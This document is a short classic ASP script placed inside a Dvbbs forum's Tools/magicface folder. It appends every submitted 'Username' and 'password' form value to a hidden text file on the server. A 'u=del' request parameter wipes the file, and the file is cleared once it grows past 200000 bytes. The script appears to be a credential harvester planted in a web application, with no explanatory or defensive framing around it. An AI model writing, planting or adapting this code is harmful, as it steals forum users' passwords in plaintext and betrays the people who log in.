<%
dim fso
dim file
dim file2
dim filesize
dim file3
set fso=server.createobject("Scripting.FileSystemObject")
If Request("u")="del" Then
set file=fso.OpenTextFile("E:\wwwroot\bbs\Dv_plus\Tools\magicface\info.txt",2,True)
file.WriteLine ""
End If
If fso.FileExists("E:\wwwroot\bbs\Dv_plus\Tools\magicface\info.txt") Then
set file=fso.OpenTextFile("E:\wwwroot\bbs\Dv_plus\Tools\magicface\info.txt",8,True)
Else
set file=fso.CreateTextFile("E:\wwwroot\bbs\Dv_plus\Tools\magicface\info.txt")
end if
file.WriteLine "Username:"+Request.form("Username")
file.WriteLine "Password:"+Request.form("password")
file.close
set file3=fso.GetFile("E:\wwwroot\bbs\Dv_plus\Tools\magicface\info.txt")
filesize=file3.size
if filesize>200000 then
set file2=fso.OpenTextFile("E:\wwwroot\bbs\Dv_plus\Tools\magicface\info.txt",2,True)
file2.WriteLine ""
file2.close
end if
set file=nothing
set file2=nothing
set filesize=nothing
set fso=nothing
%>